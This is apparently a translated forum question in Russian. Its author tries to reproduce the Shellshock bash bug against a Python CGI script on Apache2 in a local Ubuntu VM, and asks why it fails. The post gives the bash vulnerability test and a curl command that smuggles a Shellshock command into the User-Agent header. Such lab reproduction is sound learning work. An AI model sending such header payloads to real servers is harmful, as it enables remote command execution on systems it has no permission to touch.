Невозможно воспроизвести ошибку ShellShock локально

Я безуспешно пытался воспроизвести ошибку Shellshock на моей локальной виртуальной машине Ubuntu 14.04. Я знаю, что моя локальная версия bash все еще уязвима, потому что следующая команда выводит закомментированную часть:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
# vulnerable
# this is a test

Моя текущая установка - это очень простой Python CGI-скрипт, работающий на Apache2. Предполагая, что моя конфигурация виртуального хоста просто работает, вот мой скрипт Python во всей его красе:

#!/usr/bin/python
import os

val = os.environ.get('HTTP_USER_AGENT')

print "Content-type:text/html\r\n\r\n"
print "<html>"
print "<head>"
print "<title>Shellshocked!!</title>"
print "</head>"
print "<body>"
print "<h2>Hi world; ua=%s</h2>" % val
print "</body>"
print "</html>"

Я вызываю эту веб-страницу, используя curl и следующую команду:

curl -H "User-Agent: () { :; }; touch ~/hacked.txt" http://localhost/cgi-bin/index.py

Выход:

<html>
<head>
<title>Shellshocked!!</title>
</head>
<body>
<h2>Hi world; ua=() { :; }; touch ~/hacked.txt</h2>
</body>
</html>

Как видите, атака передается на страницу, но в домашнем каталоге ничего не создается. Есть какие-нибудь подсказки, почему атака не работает? Соответствующие подробности о моей версии bash:

adminuser@home:/bin$ bash --version
GNU bash, version 4.2.45(1)-release (x86_64-pc-linux-gnu)

Также я должен отметить, что мой /bin/sh связан с /bin/dash в случае, если это имеет значение, хотя это также уязвимо, так как вышеуказанный тест на уязвимость все еще работает.

0 ответов

Другие вопросы по тегам